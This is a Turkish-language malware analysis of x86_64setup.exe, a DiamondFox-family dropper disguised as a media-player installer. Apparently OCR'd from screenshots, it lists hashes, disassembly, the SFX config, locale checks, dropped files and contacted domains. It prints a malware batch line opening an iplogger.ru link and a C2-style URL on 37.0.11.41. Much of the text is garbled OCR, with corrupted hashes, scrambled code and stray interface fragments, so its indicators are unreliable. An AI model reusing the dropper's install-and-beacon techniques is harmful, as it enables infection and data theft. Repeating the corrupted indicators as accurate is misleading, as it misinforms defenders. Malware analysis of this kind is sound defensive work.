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Giris

Yakin zamanda ¢ikmig, hakkinda pek bi bilgi olmayan ve harmanlanmis bir sample olan
x86_64setup.exe diamondfox ailesinden olmasina ragmen asagidaki gérselde de goriinen Redline,
Smokeloader , Asyncrat, Vidar gibi bir cok malware ailesinin 6zelligini gosterir

|___asmerat N redline B smokeloader | ___widar ] 706 |

| ani ____J ___cana | aspacky2 backdoar nfostealer
25-07-2021 01:33 samoceyn.exe i _ - icats ;
persistence rat stealer suricata trojan
upx
|____redline _J§ ___ vidar | | cara | aspacky2
19-07-2021 1406 varis.exe - =
infostealer persistence stealer wmprotect
|___qglupteba | |____rediine |
| ____cana | aspacky2
03-07-2021 12:04 b035eefead48cdfdfald7110cc84204d357 1d6843aedc... backdoar discovery dropper evasion nfostealer
loader persistence spyware stealer trojan
upx
|____redline | | vidar | aspacky2
03-07-2021 06:23 86 _x54_setup.exe backdoor infostealer persistence stealer trojan

setup_installer.exe

MDS5: bf796dca0c45920e180ac8b9298f8a01

SHA256:

cd7elca8ac8578f93a2b3311e24c¢7745c1d892e7

upx

Keylogging ve tarayici sifresi calmadan cesitli Dagitilmis Reddedilmelere kadar her seyi kapsiyor.

Adware , cookie ¢alma , UAC bypass(yonetici haklarinda galistirma), botnet olusturma gibi bir cok
islevi vardir.

DiamondFox, is akisini belirlemek icin kullanilan degerleri iceren gomuli bir yapilandirma boélimu
icerir. Kot amacl yazilim, sifre ¢cozme anahtarlarini depolamak ve diger gorevleri gerceklestirmek
icin, yapilandirma bolimiinde yer alan anahtarlar, tim kotl amagli yazilm yaritme islemi boyunca
kullanihir ve kotli amach yazilimin islevselligi degerlerine gore belirlenir. Yapilandirma bolim, LINK
adh belirli bir PE bolimi igcinde depolanir. Baslangig¢ asamasinda, bu PE boélimi kopyalanir yeni
ayrilmis bir arabellek igcine anahtar/deger ciftlerinden olusur.

Hashler

Sfx ile packlanmistir icindeki exelerin de hashleri de asagidaki gibidir.

X86_64setup.exe
MD5: 9e285901af26b01bafe9afb312620887
SHA256: b035ee9ead48cdfdfald7110cc84204df3571d6843aedc4cd44edc73f59b013c0O

SHA1: b86337160b7a3fcc8056ccc9bc7c71cdb45ddc21

setup_install.exe

MD5: 8ed9fc32d350c4b26eb9064fd43cf06a

SHA256:
1b8366b1cdefed339f281887b1e5443f8925ef895df02e6101 }
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Sonia_l.exe
MD5: 6e487aalb2d2b9ef05073¢c11572925f2

SHA256: 77eec57eba8ad26c2fd97cc4240a13732f301c775e751ee72079f656296d9597

Sonia_2.exe
MD5: 5463ae9cd89ba5a886073f03clecbble

SHA256: 5d61ca2da46db876036960b7389c301519a38c59f72fa2b1dcbb1095f6a76c72

Sonia_3.exe
MD5: a2d08ecb52301e2a0c90527443431e13

SHA256: e6c638f913e9137efc3b2b126d32dc7ea9bd03561df0213d1da137c4128636e9

Sonia_4.exe
SHA1: dd78b03428b99368906fe62fc46aaafldb07a8b9

SHA256: d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89%adc384

Sonia_5.exe
MD5: 8c4df9d37195987ede03bf8adb495686

SHA256: 5207¢76c2e29a2f9951dc4697199a89fdd9516a324f4df7fa04184c3942cc185

Sonia_6.exe
MD5: f00d26715ea4204e39ac326f5fe7d02f

SHA256: 2eaal30a8eb6598a51f8a98ef4603773414771664082b93a7489432c663d9de3

Sonia_7.exe
MD5: a73c42ca8cdc50ffefdd313e2ba4d423

SHA256: c7dcc52d680abbfa5fa776d2b9ffala8360247617d6bef553a29da8356590f0b

Sonia_8.exe
MD5: dd0b8a5769181fe9fd4c57098b9b62bd

SHA256: ab36391daabc3ed858fcd9c98873673a1f69a6c9030fc38d42937bdeb4bb2fc5
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Sonia_9.exe

MD5: 3e2c8ab8ed50cf8e9a4fe433965e8f60

SHA256: b67af6174¢c3599f9c825a6ea72b6102586b26600a3b81324ce71b9905c9c3ec6

Sonia_10.exe
MD5: 881241cb894d3b6c528302edc4f41fal

SHA256: 3e70e230daee66f33db3fdba03d3b7a9832088fe88b0b4435d719e185ae8a330

On izlenim

(&

Ligthening media player yiklemek i¢in indirdigi x86_64setup.exe dosyasini ¢calistirdigi an istedigi Lightening
program ile birlikte 100’den fazla exe drop edip bir gok uygulama kurar. Media Player

Sirayla arsiv actigimiz zaman asagdaki sirayla exeler , klasor ve dlllerin giktigini gérilyoruz

Setup_installer.exe burada da gérdugimiiz gibi 7z setup sfx seklinde yapilandiriimis bir kurulum
dosyasidir ve bu dosya direkt icerisinde ¢alismasi gereken dosyalari bulundurur.

e CFF Explorer VII - [setup_installer.exe]

File Settings 7
H @ setup installerexe bourcp 8 e — s
28
7 0" fropeny Value —
P Tznﬁ:;é ; FileName | CAUsers\zorro\ Desktop\210703-gdppb8b36]_pw_infectedwriis\setu. - @
=) M Hoaders File Type Portable Exccutable 32 Im 4 ==
Ej g\e Hea‘d:' . FileInfo Microsoft Visual C++ 6.0 2
7 3 s vt W File Size 3.70 MB (3875121 bytes) xB86_64setu... setup_instal...
— j f:ﬂ:”[)::;:i‘ Bl PESize 122,00 KB (124928 bytes)
{— (2 Resource Directory Created Wednesday 07 July 2021, 21 47.47
) Address Modified Saturday 03 July 2021, 03.39.12

Accessed | Wednesday 07 July 2021, 2147.47
MDs BF796D CADC45920E180ACBBI298 FBAOL
SHA1 CD7EL CABACESTBFI3A2B3311E24CT745C1D892ET
Property Value
CompanyNarme Igor Paviov
FileDescription 7z Setup SFX
FileVersion 19.00
InternalName TeSisfc
LegalCopyright Copyright (<) 1099-2018 Igor Paviov
OriginalFilename TzS.sfexe
ProductName 7-Zip

Arsiv actigimizda 5 dll 1 exe 10 txt dosyasi gormekteyiz.

Txt dosyalari MZ uzantilidir ve runtime aninda exe’ye cevrilir

KFEJ | |« vnos » setup_installer v | #3 ||| Ara: setup_instalier 5 &I )=/ » 210703-g9ppbeL3s puinfected » viriis » setup_installer
Dizenle v Kitaplgaekle »  Bununlapaylas > Yaz  Yeniklasor &= Dazenle »  Kitaphgaekle »  Bununlapaylas v Yaz  Yeniklasor
¢ Sickulla Ad Degjistirme tarihi Tir Y s A . Degistirme tarihi Tar

8 Kargde % libcurldll
B Masal | libeurlpp.dil
1 SonYe | libgee s dw2-Ldll
%) libstdes+-6.dll
' Kitaplklz | libwinpthread-1.dll

Uygulama uzantisi

8 Kergide [ libcurl.dil
B Mesai [ libcurlpp.dil
5] Son'Ye |4 libgec_s_dw2-Ladll
] libstde++-6.dll
9 Kitaplikls 3] libwinpthread-1.dl

Uygulama uzantisi
Uygulama uzantisi
Uygulama uzantisi
Uygulama uzantisi

Uygulama uzantisi

< Belgele 53] setup_install.exe & Belgele W3] setup_install.exe Uygulama

J Muzik | sonis bt Metin Belgesi & Mazik B sonia1.exe Uygulama
& Resiml | sonia_ 2.6t Metin Belgesi &= Resiml sonia_2.exe Uygulama
B video [ sonia 3t Metin Belgesi [B# video sonia_3.exe Uygulama
| sonia 4.t Metin Belgesi 57 sonia_d.exe Uygulama

1M Bilgisaya || sonia 5.t Metin Belgesi {8 Bilgisaya @ sonis_5.exe Uygulama
[ sonia 6.0t Metin Belgesi i § sonia B.exe Uygulama

G Ay " sonia Tt Metin Belgesi € Ag B sonia 7.exe Uygulama
| sonia 8.t Metin Belgesi sonia_8.exe Uygulama

| sonia 0.6t Metin Belgesi ¥ sonia 9.ee Uygulama

 sonia_10.6¢t Metin Belgesi 57 sonia_10.exe Uygulama




EBOD 74A24200

E8 BIFFFFFF
C2 0400

&8 FBAD4000
FF7424 08
EE 73410000
C2 0400

55

BBEC

01CF RenTAnnn

mov ecx,dword ptr ds:[42A274]
push o

push dword ptr ds:[ecx+eax=4+6C]
call viriis. 401389

EEE 4

push viiris. 40ADF8

push dword ptr ss:|[esp+s]
call viris.4055A4

ret 4

push ebp

mov ebp,esp

enh asn ane

Bunlarin yani sira Aspack v2.12 ve UPX ile packlenmis exeler de bulunur.

Runas , cmd lzerinden programin ¢alismasini saglayan komuttur.

40ADF8:L"runas C:%\Users‘\zorro\‘\AppData\'Local®

Setup_installer.exe sfx’tir ve sfx yapilandirma dosyasi asagidaki gibi olmalidir

UTF-8'de kodlamaniz gerekeceginden, bu metin dosyasini dizenlemek icin NotePad ++

kullanmaniz tavsiye ederim, agadidaki talimatlar notepad++ kullaniyor.

1. Windows Gezgini'ni kullanarak c:\Install'a gidin

2. 5ad tiklayin ve "Yeni Metin Dosyasi"ni segin ve config.txt olarak adlandirin

3. sag tiklayin ve "NotePad++ ile Dizenle'yi segin

4. "Kodlama MenUst"ne tiklayin ve "UTF-8'de Kodla"y1 segin

5. Bunun gibi bir sey girin:

5 [@vikle@!UTF-5!
Title="YAZILIM v1.0.0.0"

BeginPrompt="YAZILIM v1.8.0.8 yiklemek istiyor musunuz?"

RunProgram="setup. exe”
5 |@InstallEndg!

1. Using windows explorer go to c\Install

2. right-click and choose "New Text File” and name it config.txt

3. right-click and choose "Edit with NotePad ++
4. Click the "Encoding Menu" and choose “Encode in UTF-8"
5. Enter something like this:

;1@Install@IUTF-8!
Title="SOFTWARE v1.0.0.0"
BeginPrompt:
RunProgram="setup.exe"
5 1@Installendg!

setup_installer.exe ise resimde goriinen yapilandiriimayla yapilandiriimis.
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"Do you want to install SOFTWARE v1.6.8.02"

Bu dosyalar Microsoft Visual Studio .NET, Microsoft Visual C++ 8 ve Borland Delphi 4.0 ile yazilmistir.

Gerekli islemleri ve temp’e setup_installer.exe 'yi drop ettikten sonra runas komutu ile calistiriyor.

YTemph\setup_installer.exa"

PiE

.text:80481198
.text: 00481198

-text:00401198
.text: 00481188

Beru | @ orafic | Lt Guniik | [ Notiar | ® Kesme Noktalan | ¥ Hafiza | [ ngnCagnlan | S5 sEH | lol komutDosyasi | ] semboller | <7 kaynak | - Referangiar | s
68 00B541{ push setup_Tnstaller. TTitle”
8D55 FO lea edx,dword ptr ss5:febp-
804D D& |1ea scx,dword ptr L"Ci\\Users\\zorro\\Desktop\\Temp\\setup_installer.exe A

68 F4B441{push s&

B

804D FO |Tea ecx

E£8 CC2000(Eall setup_install
talle

lea edx,d
lea_scx,dword
E8 BC2DOO( €N set

£8 512000{ €Al set
38C cmp_eax,
31 setup.

word ptr
up_install

e
_installer. 401206

41B4F4: "EEQINPrOmMpT

rd ptr

41B4EE:

Frogress

41B4E4: "no

41B4D8: "Directory’

.

e text:@84811A3
.text:@04811A6
.text:004811A8
-text:00401188
-text: 0084081183
.text:@84811B6
.text:@e481168
Ltext:004811C0
-text:0040811C3
-text: 008481109
.text:@84811CE
.text: 00481104
-text: 00401109
-text:0048110E
text:084B11EQ

loc_481195:
push  offset aTitle

lea edx, [ebptvar_10] ;

lea ecx, [ebp+lpCaption]

call suh_tlBiF?? ; Call P

push  offset aBeginprompt ;

lea edx, [ebptvar_10] ; Load E

lea ecx, [ebptlpText]

call sub_a@3F77

push  offset aProgress ;

lea edx, [ebptvar_ 18] ;

lea ecx, [ebp+lpCommandLine

call  sub_4e3F77 11

mov ecx, [ebp+lpCommandLine

mov edx, offset alo ; "no”

call  sub_4@32CE

test  al, al ;

jz short loc_4811E8 ; 1




Runtime Ani

34,82 MB  WIN-LLKDN79P80J\zorre
1,67 MB WIN-L1KDN79P80\zorrc

@ chrome.exe 14,89 kB/s
€ chrome.exe 3408
oS . 60 nn; 1270, 24 N6 RAD IATRL

Google Chrome
Google Chrome

Sonia serisini cmd yardimiyla ¢alistirir ve drop ettikleri ile birlikte bazisi kendi altinda galistirir bazisi
ayri ¢cahstirir ama hepsi yonetici ayricaliklarinda galistirir.

m

Hacker View Tools Users Help

7 Refresh 73 Options | @l Find handles or DLLs ¢ System information | (] [ 3¢

Processes | Senvices | Network | Disk |

Name PID CPU I/Ototal ... Privateb.. Username

Dil Kontrolu

Resimde de goriindligl Gizere bilgisayarin dili ile ilg

kodudur.

push edi
push ebx
push edi
push virias. 408338
push 50000001
mov word ptr ds:[437000],30
mov word ptr ds:[437002],7%
mov_word ptr ds:[437004],di
wviiriis. 40640A
13930 48374 cmp word ptr ds:[423748],di
16 jne wiiris.403CB6&
push edi
push ebx
D4834000 push viris. 408304
48834000 push vuris.408348
03000080 80000003
viris. 406404
2bx

<IMP.&Istrcat=
viris. 403EE1

1
1
i
80000000000 RRRRRRIRRNNI

wviris.exe: $3C87 #3087

A carss.exe 60 657
A csmssexe 4652 911
A csssexe 4680 459

A, cerss.exe 4902 461
&, csrss.exe 5016 455
|4 OEtCHZLwbkHvg2 ffuzl2., 2172

408398:L"Control Panel‘\\Desktop“‘\ResourcelLocale"

00437002: 78: "X’
004370041

00437000:L"1055", 30:'0"
Ererey

ngow

4083D4:L"Locale”
408348:L".DEFAULT\\Control Panel\\International™

937 MB
936 MB
9,36 MB

936 MB.
936 MB.

3032 MB

ili bilgiyi alir. 1055 Tirkge’nin hexadecimal

FPU Gizle
EAX 00000004

EEX 00000000

ECX F2F5737C

EDX 00000035 5

EEP 00435000 viiriis. 00435000
ESP  OD1BFCE4 <&GetTempPathin>
ESI  0057E6CO

EDI 00000000

EIP  00403C91 viiriis. 00403C91
EFLAGS 00000216

ZF O PF1 AF 1

OF 0 SF O DF 0

CFO TFO IF1

[esp+4] 00437800 L"C:\\Users\\zorro'
[esp+8] 00435000 wiiris.0D0435000

[esp+C] 00000000
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Ulke Kontroli

Ulke kodunu alir.

| S | 1 1 I = = - = 1 — |
* 2 68 C8222700 | push sonia_4.2722C8 2722CE8: "countryCode”
] 5 BD4D 94 Tea ecx,dword ptr ss:|fel
] E C745 A4 0000 mov dword ptr ss:[ebp-tS
] 2 C745 AS OF0Q mov dword ptr ss:febp-t5
L 9 C645 94 00 |mov byte ptr ss:|[[ebp-aC]
. D) ES8 2EFEFFFF | call sonia_4.208170
] 2 Ce45 FC 19 |mov byte ptr ss:|[ebp-4]
] & 8D55 94 Tea edx,dword ptr ss:[fel
L 9 8B8D 2CFFFFAmov ecx,dword ptr ss:[el
] F 52 push edx
] S0 SBO1 mov eax,dword ptr ds:[edeax:”"TR", ecx:"53'
] 52 SB40 24 mov eax,dword ptr ds:[efeax:"TR"
L 55 FFDO Eall =ax
] 57 SEOE mov ecx,dword ptr ds:[efecx:"83'", eax:"TR"
] 59 SBO1 mov eax,dword ptr ds:[edeax:"TR™, ecx:"83"'"
] SE 8B40 1C mov eax,dword ptr ds:[efeax:"TR"
L SE FFDO Eall =ax
L2 50 push eax eax: "TR"
. BNAN FCFFFFA 1eA erw.dwnrd ntr ==:EesH
m |

setup_installer.exe

Sfx dosyasi olan setup_installer.exe temp’ e gegici olarak 7zS84ecfcd2 dosyasini olusturur ve kendini
o klasore gikarir. 7zS84ecfcd2 klasoriindeki setup_install.exe dosyasini galistirir ve txt’lerin uzantisini
exe yapip cmd ile calistirir ve islemler baslar. Bunun yani sira utf-8 indirmesi de yapar.

Noktalan I Hafiza ) Yigin Cadrilan &3 5EH ¢+ Komut Dosyasi *j Semboller <> Kaynak ' Rel
B [EEN
1 ;EbD—TU;:L:C: \Usersi\\zorro\\AppData\’\Local'\Temp'} jzss-tECFCDz:: ~|[ FPU Gizle
)" L« Temp b T2SBEC... '|‘? H e p| @l | [ebp-38]:L"C:\\Users\\zorro\\AppData'\ Localy\Tempy\7ZS84ECFCD2 |_\:
|| EAX 00000000
_ EEX 00000000
le v Kitaphga ekle Bununla paylas v Yaz  » =~ [0 @ 1 ECX  DO1BFF78
= ~ EDX 00360180
n P - 1 EBP 001BFEEC
k ad Degigtirme tarihi 1 3 Kkl | [ebp-8C]:L"C:\\Users\\zorro\\Desktop\\temp\\setup_installer.exe" ESP 001B8FDBEC
ESI  DO3GFEFE
K %] libcurl.dll 01.04.2021 05:47 Uygulama uzar| 1] EDI  7SFCFD3F
N %] libeurlpp.dil 02.04.2021 01:23 Uygulama uzar| & | ;EE;};?; t:g: '--USSES zg;r_ln RAppDaga Local\\TempY\7zS84ECFCD2" EIP 004013E4
S 4 libgee_s_dw2-Ldl 12.05.2018 04:28 Uygulama uzar R AR A AT AR 1 I —
] libstde++-6.dll 12.05.2018 04:28 Uygulama uzar| ZE L FF 1 AFC
— == OF 0 SF O DF C
t: %] libwinpthread-1.dIl 11.08.201618:53 Uygulama uzar| _ o || =] 2 CF 0 TFO IF1
B [53 setup_install.exe 03.07.2021 03:39 Uygulama 1 — e
N | sonia 1.4t 03.07.2021 03:38 Metin Belgesi - - Varsayllan (stdcall)
R || sonia 2t 03.07.2021 03:38 Metin Belgesi Pl e E:g«;g} 0512
Vo | soniz_ 3ot 03.07.2021 03:38 Metin Belgesi 3: ESD+§]D] Dgggg
: [esp+:
| sonia_dxt 03.07.2021 03:38 Metin Belgesi up_install exe
I | sonia_5.xt 03.07.2021 03:39 Metin Belgesi [ “D—!”:t‘au exe L | Iv= verel Degiskenler | 2 vap | 00512E89
up_install exe
|| sonia_6.txt 03.07.2021 03:39 Metin Belgesi up_install exe — s
§ | sonia_7.6¢ 03.07.2021 03:39 Metin Belgesi up_install.exe B.ap al [
B Rmmeren coen we ono -7 fup_instal.exe [/A.G7A.
4l m ] r up_install exe | faoe-s
ug_instaH Exe [ [UlE Uiy <z
16 dde - i | r
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oPU | D Grafik | b Gunlik | [ Notar @ Kesme Noktalar | M Hafiza | [/ vign Cagnian | =25e4 | o) KomutDosyas: | %] semboler | <2 Kaynak | - Referandar | 'S isParcackian | @ Tutamacar | 71z |
.

68 24B541f push s 4 41B524:

etup_installer.41B52
8DBD 58FF| 1ea ecx,dword ptr ss:[ebp-az] [ebp-ag8]:"kernelz2.d11" - =
= o Varsaylan (stdcall) =|s B[k
1: [esp+4] 00512E89
yacak L j]
n installer.nnan1137 2: [esp+s] D00DOODO

ES 132A00] CA11 Setup_installer.d03AFE A :
. D4 E4 | lea cox dvord pir os:ifebo ic] ERUGizle

ES C029001 €all setup_insta
8DED &EFFl 1ea ecx,dword prr F\NProgress=\"no\"\r\nExecuterile=\"setup_install.exe\"\rin E';ﬁ gggggggé
ES AF2200i €alll setup_install texMco s TS
SBED TAFFImMOV ecx,dword p 8C]:L"C:\\Users\\zorro\\Desktop\\temp\\setup_: i
8DBS G&FF 8]: "\r\nProgress=\"no\"\r\nExecuterile=\"set r\n EDX  OOOBE3CS
co EBP  OOLBFEEC
68 S4F041 41F054: @InstallEnd@! ESP  0OO1BFDBC
BA 40F041 41F040:"; 1@Install@ [ UTF-8! ESI  00512E83
ES DE0Z0D EDI 00000000
84C0

-— vr75 19 jne setup_installer.401137 EIP 00401137 setup_installe
385D OB |cCmp byte ptr 33:][eh|J*5 b

- ~| 75 0C ine setup_i er.40112F

f BA 288541 mov edx,Setup_installer.418528 41B528:L"Can't load config info" ;EL’;GSF, gooigzgz
33C9 XOr_ecx,ecx Pe =6 oEa

! ES 2BA6001 €all setup_installer.40B77A

L 6A 01 push 1 CFO TFO IF1

pop ebx
E— ~| E9 407001 jmp setup_installer.s01885 LastError 00000000 (ERROR_SUCCES

.7z arsivinden bir belge agmak igin executefile parametresi kullanilir

FFFF |{mov byte ptr ss:[Qebp-3C),1
0000 | je setup_installer.401337
lea ecx,dword ptr ss:|[febp-10]
s} call setup_installer.40E83C
lea edx,dword ptr ss:[lebp-10]

FFFF | lea ecx,dword ptr ss:[ebp-35] [ebp-98]: "\ r\nProgress=4"noY\"\rynExecuterile=\"setup_install. exe" "y rin"
o0 call setup_installer.403C57
test al,al

jne setup_installer.40113B
cmp byte ptr ss:|[ebp+Ej, bl
jne setup_installer.401193

oo mov edx,setup_installer.41E508 41B508:L"Config Tailed”
XOI eCx,8cx

o0 €all setup_installer.40B77A
push 1

Drop Ettigi Dosya Yollari

C:\Users\%username%\AppData\Local\Temp
C:\Users\%username%\AppData\Local\Temp\csrss
C:\Users\%username%\AppData\Local\Temp\csrss\wup
C:\Users\%username%\AppData\Local\Temp\csrss\injector
C:\Users\%username%\AppData\Local\Temp\2e08cbha24e
C:\Users\%username%\AppData\Local\Temp\7zS84ecfcd2
C:\Users\%username%\AppData\Roaming
C:\Users\%username%\Documents

C:\Windows\System32

C:\Users\%username%\AppData\Local\Microsoft\Windows\Temporary Internet Files

g

A




pe

Drop Ettigi Dosyalar

Sonia_l.exe  osloader.exe

Sonia_2.exe  ntkrnimp.exe

Sonia_3.exe
Sonia_7.exe

Sonia_4.exe
Sonia_8.exe

2.exe 2-42AT~1.EXE
1763683596.exe axhub.dll
api-ms-win-core-namedpipe-11-1-0.dll
api-ms-win-core-string-11-1-0.dll
8H6ZWCCbqKQZqr1ZDzSBxK6x.exe
aXI2zAftEgK3NhbWkMC9tlu9.exe
DVRrv75N3d0cq9kr9vinybhD.exe
JXKnQe3TxYFteWy6j3yegXVO.exe
MW{sWcm042byzXi5I9sNEvpV.exe
QiLxAKnbZiFVrlaHVYrVaCor.exe
vqd7AT7ae6TrmelGYn3mYmhh.exe
YDQgBKZPYWCdWgcUNzdp3XSu.exe
_06dRJaKSVIsmYSHDNe2HP2J.exe
2M3NhGrvxSqWKxfUZaLIV6ET3.exe
4YuMZgplHmQunPxfoSr8reVN.exe
7_6ykZv7EvdCcqo5NVamsESZ.exe
a0b6FbwIMTk4Pu1B7S6kg54S.exe
b9m753ZLMwrPudU1Z8olgpRu.exe

patch.exe narbux.exe

libcurl.dll
libcurlpp.dll

Sonia_5.exe
Sonia_9.exe

download.error ntkrnimp.pdb

injector.exe

libgcc_s_dw2-1.dll libwinpthread-1.dll

libstdc++-6.dll setup_install.exe

setup_installer.exe
ee.exe zz.exe

Sonia_6.exe

Sonia_10.exe
1587087885.exe
CCAF.tmp

dbghelp.dll symsrv.dll

tmp26A9.tmp owegj.exe  6ido0sjUdET8jRftOSc3hmlIV.exe
6Tnz3PelVSgDBk5I1zA16244.exe
8TJ9VtKLB52kA6SeboPhDGTF.exe
b7v49ezmfyjY8yPUI728VzS6.exe
jdwbamdvloiFhGwIbHrF9bld.exe
ksn2FwIHkR6rBdWCAwPt3JNr.exe
pVewZJtym|5fXqzzLBi4BYUA.exe
tXIH2r9moz62hZPcviryh0o3.exe
xvakguFf42t2cm80ddcmFdSW.exe
xmNWhWgAFpLCfekZ83BQg4bT.exe
_06dRJaKSVIsmYSHDNe2HP2].exe
3EaucCSGZDQ6kBhOhGL6GzIs.exe
5EZopg09PuytQxgh7s3mcjdM.exe
9kEtX2IGRgLKvO0j8IHVD5nN.exe
a200WdAaiKKhVMBVvYfzoevb.exe
bk7ZfU2gLdOfP4AWvGCutil9y.exe

ww31l.exe

bunlar sadece drop edilen dosyalarin bi kismi, bazi dosyalari indirip islem yapip direkt siliyor.

"1 rHIFScw3BGyTo)ZD9a_b3xSU.exe Uygulama 370KB

87 sFSGCRWPksLMISLAKPgNz_|exe Uygulama 16 @ PSR o 18] gm0 oVNEgTHFRBLOmPPX e Uygulama
- / juorVpigWCWNdsDBBIwhpu.exe 2 EacfIGGQMTeH80hkMukadodT.cxe Uygulama

VmTKVICEIpKIGgPYSMES qo.exe Uygulama FITKE & juewPcOTiybgUINHINSpyaYZ exe =7 EboBRY03Yob1snks27XBOgAG. exe Uygulama
1! teDQUqpgbfMOERS2)_G70j5v.exe Uygulama L73KB & keVQuiwzizfdSMLAmKLHWKSU.exe 7 6AWERLhhwhTqCplihith_BQ.exe Uygulama
H202HQEqyHIEFI03lolLzlocexe: Uygulzma FBRE |27 KKQIHzuAShGISToXX2jgd)_D.exe 571 FdlbeFYWKNWbmZ5 o)fiMVAq.exe Uygulama

1 UA_wazif_iPQWMMZWCWWFDZ_exe Uygulama 3012 ke KXCtDudnSKGzy VaupTkTOedd.exe 7 FND3a18]Q8VitpqlodRABW exe Uygulama
18 uPmy<7AB1NIKEOSDSKaNp_AX.exe Uygulama 1723KE 7 KxPXNHERSN1dOSYhgTn6riPO.exe Uygulams aCSbzyiYONWIANDVEAMIEP.exe Uygulama
§ vOndBWIUdsKrHkef_d2ldn3j.exe Uygulama 240KE [ LDI185I0nPrioVIvge39CKIF.exe Uygulama 47 gp62EIBMpbYlySBKniGEceH exe Uygulama
VS Tioa63MHgsLmUiOSzM0g.exe Uygulama 337KE K LMICVGPAUR2Plich QXdiNgd.exe Uygulama 7 GatPryfTCiSnLcbiBUZMIRF.exe Uygulame

£ VnxABvrbVnEhWie7 Oqkez3U8.exe Uygulama 200KB & MfisKRc82UcduwlaVXIbTa0.exe Uygulama hOKakvhnm3I2xBP CkyFnQemK.exe Uygulama
4 vOAQmeg2dBmmRIulRc.exe Uygqulama 315KE B mGQEKmUtIM{ScidVavXHe2dl.exe Uyqulama 7] HeOgHWSXLNAYTOHotIMMO Lexe Uygulama
vsuEpy TADIBDSCEBOARIfP exe Uygqulama 428Ke 1 mZDIKTAM yQelVWubIPIOHS. e 372K B hXWQLgSkUIDROITSA]T).exe Uygulama

57 vikeZlebknHAaZI08hsa0mTm.exe Uygulama 306K8  [F 0BWYgVhpFYMBWIEPDAj2Kwlexe 1Ke 57 HGeRFQpOUkaX2UTpXXRN kLexe Uygulama
7 VAXMVPCZMCjQRIVOrTUX WD exe Uygulama 1ke |7 OEtCHZLwbkHvg2 fluzll2g.exe 4611 KB 27 hil hVZ31BQN3GM_pbmi3QM72.exe Uygulama
3§ VnamuDgPDTKVLY LabymTBFP.exe Uygqulama 2u0kn B OWUUHLYKZ3Dglebimidv Z.ee 1450 KB HollQDsoaleSdyo2XzAsnetD.exe Uygulama
(57 Zuhi9ymSnSMiwKKKxtuL GCe.exe Uygulsma 372k [T pLGEmMKYIVsKmroeZQObSBg.exe 461LK8 () hQOfImgQniWzgwgoZocOh. exe Uygulama
| 1, 2#w2NWQtbobL8cYhagDnyilu_exe Uygulama sokg = pAEIDIUDLBSOcLgljvw.exe Uygulama r2(1 hzdTHZMUSo3ImiDqd9WUES.exe Uygulema

e e — ‘




y

—
jmyse b Verei Dk (G) » Kulamwcir + 7ome » AppDeta » Local & Microsoht » Windows » Temporsry Intermet Fles .4 ] @\_}'l |+ Bilgisayar » Yerel Disk (C) » Windows » System3Z » - ‘ "‘ | A
°
Duzenle v Yaz Yeni klasor
R Degigtirmetarihi  Tar Bayut
; i Kergden Yokl || perfcOiF.dat 25.07.2021 0113 DAT Dosyasi 137 K8
2 B Masaistd [ perfc09.dat 20210113 DAT Dosyasi 119 KB
o % Son Yerler | perfhOlF.dat 20210113 641 KB
< | perfh009.dat 20210113 630 KB
- N
v = Kitaphklar &' PerfStringBackup.INI Yapilandirma ayar... 1532K8
[ [ Belgeler || 78296FB0-376B-407¢-B012-0C450ELB7327 5., C7483456-A289-4... a1Ke
- o) Mizik || 78296FB0-376B-497e-B012-0C450E1BT327-5... C7483456-A289-4... 31KB
- =] Resimler ntkmimp.exe Uygulama 5423 KB
5 B2 Video esloader.exe 2021 0344 Uygulama 620 KB
—
£ SSVRUWWBLA4RMEDDp64A.exe ~_
= 7 9U4BESOTUkyGR2ApXUATO) exe iu- « zomre b AppData b Local » Temp b {Zlyd-hlasi-Tenu-TiAs) -4
— Pl Ty e — 5 83604UFPYLEXQBKvdollymem. ece uenie v Kisphgackle v Bununlspaylsg > sz  Veni klssar -~
Dueniew  Cgag  Kmmpiguedse w  Bunanis payas 4= 0 mabLHEXVSRASHSTAZALT ee =
- 15 kqrnBUPRAJELALMOION2TE exe Sik Kullsnlanlse o~ L ' ot
sk iz 1 LB 2bTusVcImePEFEyia.cxe B Kargidan Voklemele %, 31477552638, exe
i rapdany inisctor £ INPRUTVmBFHVOTUYQXMOEM.exe B Masadsta 33742699106.exe
B Mot wup 1 m3GeXixXkOTe A TECk.exe L, Son Verler 4396783035 exe
| Seon Virkes BT ettm2il5 e 5 MaVRIMaBTveQawHNwiaUjtiH.exe
T gedatipacese 7 muChgHAFFEGQE1bUBRSs cxe
4 Vitapliclar 5 geifp.ise 7 owegjexe 7 6:
R - mjmmasm%mxm _metadata 25.07.2021 06:02 Dosya klasora
Juas | = 3 PAAlIpCoGpEYwBosNIN 0 ] manifestison JSON Dosyasi 18
—
E,IJ“ e 51 PPISHBODTKFPOSvyvCbAWtL exe || optimization-hints.pb PE Dosyasi 56 KB
: s ] EUNEZAR O
gy i mTQUNESmdPay2dbNGICHE exe
Wi s
AyuFHQuS! meCAKgZSkN.exe
5 DHeaBwcXOIGVQ3DIRVM.exe
ga ekle « Bununla paylag « Yaz Yeni klasor
= . n R Aro- 2-d7AT1
Ad Degistirme tarihi T Boyut @vv‘ « zamo v AppData b Local » Temp » XPOODTMP b 2-42AT-1 ~ [ 4| [[Ara: 42471
et B 2.exe 28.06.2021 12:41 Uygulama 3 K8 Diizenle = = A¢ Bununla paylag = Yazdir  Yaz  Veniklasor
D 2-42AT-1EXE 29,06.2021 15:09 Uygulama 118 KB f Belgeler s oA Defistime tarihi  Tar Boyut
o) Mazik
e 28.06.2021 11:51 Windows Topluls ...
=] Resimler
B vidl
[oif CAUsers\zomo\AppData\Local Temp\XPO00. TMP\2-42AT-1\Install bat - Motepad++ [=
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window 7
o= 2 s & |t g | @ & | B L]

Bk B reaibat |
1 ktart https:

iplogger.ru/17Peb7 & exit

Adware ve Baglanti Kurdugu Siteler

Humisnee.com ip-api.com facebook.com

Binance.com 37.0.11.41/base/api/getData.php ipinfo.io

Browzar.com addthis.com cdn.discordapp.com

Bet365.com steamcomunity.com gql.twitch.com

Avito.ru pastebin.com i.instagram.com

oauth.vk.com api.login.yahoo.com spolaect.info

walmart.com google.kz google.com

’)
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Create a free account |

&)

@ accounts.binance.com/en/register?ref=\

res://c:\program files (x86)\browzar\browzar.exe/dnserror.htm#http://www.browzar.com/start/?v=2000

Uhr\owann“

Internet connection unavailable

Ho connecion 1o the Intemet is cu avalla:
Plsase check your connection and try again

csrss klasoriindeki getfp.exe humisnee.com sayfasina giriyor.

x  +

x @ humisnee.com/test.php?uuid=58d36b79-8ccc-472-b72a
